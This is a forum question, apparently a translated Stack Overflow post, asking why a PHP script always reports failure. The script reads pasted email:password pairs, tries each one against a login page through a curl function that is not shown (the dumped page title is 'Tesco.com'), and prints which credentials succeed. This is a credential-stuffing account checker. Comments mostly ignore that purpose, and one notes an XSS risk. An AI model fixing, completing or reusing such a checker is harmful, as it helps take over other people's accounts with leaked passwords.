【发布时间】:2013-04-21 03:14:36
【问题描述】:
您好,我正在使用以下代码检查指定文本的 html 源代码并返回成功失败,但即使我使用正确的登录名,我总是失败,这是我与 curl 脚本一起使用的代码 }
if(isset($_POST['mp'], $_POST['delim'], $_POST['submit'])){
$mps = preg_split('/\r\n|\r|\n/', $_POST['mp']);
foreach($mps as $mp){
$mp = explode($_POST['delim'], $mp);
$email = $mp[0];
$password = $mp[1];
$html = checkmail($email, $password);
$doc = new DOMDocument();
@$doc->loadHTML($html);
$nodes = $doc->getElementsByTagName('title');
$title = $nodes->item(0)->nodeValue;
if($title == "Sorry, but we couldn't sign you in"){
echo "<br />FAILED - Email: $email - Password: $password";
}else{
echo "<br />SUCCESS - Email: $email - Password: $password";
}
}
}
?>
object(DOMElement)#3 (18) { ["tagName"]=> string(5) "title" ["schemaTypeInfo"]=> NULL ["nodeName"]=> string(5) "title" [ "nodeValue"]=> string(9) "Tesco.com" ["nodeType"]=> int(1) ["parentNode"]=> string(22) "(省略对象值)" ["childNodes"]= > string(22) "(省略对象值)" ["firstChild"]=> string(22) "(省略对象值)" ["lastChild"]=> string(22) "(省略对象值)" [" previousSibling"]=> string(22) "(省略对象值)" ["nextSibling"]=> string(22) "(省略对象值)" ["attributes"]=> string(22) "(省略对象值)" ["ownerDocument"]=> string(22) "(省略对象值)" ["namespaceURI"]=> NULL ["prefix"]=> string(0) "" ["localName"]=> string( 5) "title" ["baseURI"]=> NULL ["textContent"]=> string(9) "Tesco.com" } NULL
【问题讨论】:
-
这是我在这里看到的第一篇没有删掉“你好”的帖子
-
你能帮忙吗,而不是仅仅评论一些无用的东西
-
这是等待发生的 XSS 攻击。确保您使用
htmlspecialchars()转义 HTML 的任意数据。 -
布拉德我不懂